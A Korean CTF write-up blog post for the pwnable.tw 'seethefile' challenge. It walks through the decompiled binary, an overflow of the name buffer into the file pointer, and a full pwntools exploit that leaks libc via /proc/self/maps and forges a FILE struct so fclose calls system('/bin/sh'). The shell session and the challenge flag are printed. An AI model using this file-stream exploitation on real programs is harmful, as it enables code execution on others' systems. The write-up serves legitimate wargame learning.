Summary
/proc/self/maps
FSOP
Fake IO_file
Analysis
main
에서는 open / read / write / close / exit
총 5개의 기능을 한다.
openfile()
int openfile()
{
int result; // eax
if ( fp )
{
puts("You need to close the file first");
result = 0;
}
else
{
memset(magicbuf, 0, 0x190u);
printf("What do you want to see :");
__isoc99_scanf("%63s", filename);
if ( strstr(filename, "flag") )
{
puts("Danger !");
exit(0);
}
fp = fopen(filename, "r");
if ( fp )
result = puts("Open Successful");
else
result = puts("Open failed");
}
return result;
}
파일이 한번도 생성이 안됐으면 함수를 즉시 종료하고, 파일이 존재한다면 아래분기로 들어간다.
원하는 파일의 이름을 입력하라고 하고, 해당 파일을 fopen
한다.
이때, r
옵션을 사용하여 현재 존재하고 있는 파일만 열어주고, flag
를 필터링한다.
readfile()
int readfile()
{
int result; // eax
memset(magicbuf, 0, 0x190u);
if ( !fp )
return puts("You need to open a file first");
result = fread(magicbuf, 399u, 1u, fp);
if ( result )
result = puts("Read Successful");
return result;
}
파일을 연 상태에서 readfile()
함수를 호출하면, magicbuf
에 파일의 내용을 400만큼 긁어온다.
writefile()
int writefile()
{
if ( strstr(filename, "flag") || strstr(magicbuf, "FLAG") || strchr(magicbuf, '}') )
{
puts("you can't see it");
exit(1);
}
return puts(magicbuf);
}
magicbuf
에 저장되어있는 값을 출력시켜준다.
closefile()
int closefile()
{
int result; // eax
if ( fp )
result = fclose(fp);
else
result = puts("Nothing need to close");
fp = 0;
return result;
}
파일을 닫는다.
exit()
case 5:
printf("Leave your name :");
__isoc99_scanf("%s", &name);
printf("Thank you %s ,see you next time\n", &name);
if ( fp )
fclose(fp);
exit(0);
return;
scanf("%s",&name);
으로 입력받은 후 파일을 닫는다.
여기서 취약점이 발생한다.
name
은 0x0804B260
에 위치해있고, fp
는 0x0804B280
에 위치해있다.
따라서 fp
를 변조할 수 있고, 여기서 fake file struct
를 만들어서 FSOP
를 할 수 있다.
scanf("%s",&name)
으로 입력이 끝나면 fclose()
를 호출하므로, `IO_file_jump
vtable
부분의 fclose()
를 system()
으로 변조시킨다.
그럼 fclose()
대신 system()
이 실행될 것이다.
Exploit
from pwn import *
#context.log_level = "debug"
e = ELF("./seethefile")
libc = ELF("./libc_32.so.6")
#libc = e.libc
r = remote("chall.pwnable.tw",10200)
#r = process("./seethefile")
def fopen(filename):
r.sendlineafter("Your choice :","1")
r.sendlineafter("see :",filename)
def fread():
r.sendlineafter("Your choice :","2")
def fwrite():
r.sendlineafter("Your choice :","3")
def fclose():
r.sendlineafter("Your choice :","4")
def fexit(name):
r.sendlineafter("Your choice :","5")
r.sendlineafter("Leave your name :",name)
fopen("/proc/self/maps")
fread()
fread()
fwrite()
r.recvline()
#r.recvline()
libc_base = int(r.recv(8),16)
system = libc_base + libc.symbols["system"]
log.info("libc_base : " + hex(libc_base))
log.info("system : " + hex(system))
name = 0x0804B260
IO_file = ""
IO_file += "/bin/sh\x00"
IO_file += p32(0) * 16
IO_file += p32(name)
IO_file += p32(0) * 18
log.info("IO_file len + Dummy : " + str(len(IO_file) + 0x24))
IO_file += p32(name + 188)
IO_jump = ""
IO_jump += p32(0) * 17
IO_jump += p32(system)
payload = ""
payload += "\x00" * 0x20
payload += p32(name + 0x24)
payload += IO_file
payload += IO_jump
pause()
fexit(payload)
r.interactive()
/proc/self/maps
에는 현재 실행중인 프로그램의 정보가 나와있는데, vvmap
명령을 쓰면 출력되는것이 이 부분이다.
따라서 이 부분을 통해서 libc_base
를 leak할 수 있다.
libc_base
를 leak한 후에는 fake file sturct
를 만들어준다.
일단 fp
의 내부 상황을 보면 아래와 같다.
0x804c410: 0xfbad2488 0x00000000 0x00000000 0x00000000
0x804c420: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c430: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c440: 0x00000000 0xf7fb2cc0 0x00000003 0x00000000
0x804c450: 0x00000000 0x00000000 0x0804c4a8 0xffffffff
0x804c460: 0xffffffff 0x00000000 0x0804c4b4 0x00000000
0x804c470: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c480: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c490: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c4a0: 0x00000000 0xf7fb1ac0 0x00000000 0x00000000
여기서 0x0804c4a8
는 0을 가르키는 포인터이다.
따라서 0을 가르키도록 적절히 값을 넣어두면 된다.
그리고 0xf7fb1ac0
이부분은 IO_file_jump
부분인데, 18번째 부분에 fclose()
가 있다.
따라서 17번째 부분까지 Dummy를 채워주고 18번째 부분에 system()
함수의 주소를 적어준다.
익스코드의 payload += p32(name + 0x24)
요건 IO_file_plus
를 가르키게 한다.
그리고 IO_file += p32(name + 188)
는 IO_file_jump
를 가르키게 한다.
따라서 IO_file_jump
까지 값이 덮여써진다.
이렇게 system(fp)
까지는 만들었다.
여기서 인자를 "/bin/sh" 로 넣어주어야 하는데, 인자는 IO_file_plus
의 첫부분을 참조한다.
따라서 이 부분에 "/bin/sh"를 넣어주면 된다.
fake sturct
만드는 부분 맨 앞에 IO_file += "/bin/sh\x00"
요런 부분이 있다.
Flag
좀 신기했던게 쉘만 따면 끝이 아니라 루틴 하나를 더돌아야한다 ㅋㅋ.
이런거 너무 재밌당.
juntae@ubuntu:~/wargame/pwnable.tw/seethefile$ p ex.py
[*] '/home/juntae/wargame/pwnable.tw/seethefile/seethefile'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] '/home/juntae/wargame/pwnable.tw/seethefile/libc_32.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to chall.pwnable.tw on port 10200: Done
[*] libc_base : 0xf7535000
[*] system : 0xf756f940
[*] IO_file len + Dummy : 184
[*] Paused (press any to continue)
[*] Switching to interactive mode
Thank you ,see you next time
$ cd /home/seethefile
$ ls -al
total 44
drwxr-xr-x 2 seethefile seethefile 4096 Jan 13 2017 .
drwxr-xr-x 4 root root 4096 Jan 13 2017 ..
-r-------- 1 flag flag 29 Jan 13 2017 flag
-r-sr-xr-x 1 flag flag 9184 Jan 13 2017 get_flag
-rw-rw-r-- 1 seethefile seethefile 624 Jan 13 2017 get_flag.c
-rwxr--r-- 1 seethefile seethefile 70 Jan 13 2017 run.sh
-rwxrwxr-x 1 seethefile seethefile 12248 Jan 13 2017 seethefile
$ cat get_flag.c
#include <unistd.h>
#include <stdio.h>
int read_input(char *buf,unsigned int size){
int ret ;
ret = read(0,buf,size);
if(ret <= 0){
puts("read error");
exit(1);
}
if(buf[ret-1] == '\n')
buf[ret-1] = '\x00';
return ret ;
}
int main(){
char buf[100];
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
printf("Your magic :");
read_input(buf,40);
if(strcmp(buf,"Give me the flag")){
puts("GG !");
return 1;
}
FILE *fp = fopen("/home/seethefile/flag","r");
if(!fp){
puts("Open failed !");
}
fread(buf,1,40,fp);
printf("Here is your flag: %s \n",buf);
fclose(fp);
}
$ ./get_flag
Your magic :$ Give me the flag
Here is your flag: FLAG{F1l3_Str34m_is_4w3s0m3}
$
[*] Interrupted
[*] Closed connection to chall.pwnable.tw port 10200
'System Hacking ( pwnable ) > pwnable.TW Write-up' 카테고리의 다른 글
[pwnable.tw] babystack ( write-up ) (0) | 2019.10.02 |
---|---|
[pwnable.tw] tcache tear ( write-up ) (0) | 2019.09.25 |
[pwnable.tw] 3x17 ( write-up ) (0) | 2019.09.24 |
[pwnable.tw] starbound ( write - up ) (0) | 2019.07.31 |
[pwnable.tw] start ( write - up ) (0) | 2019.05.02 |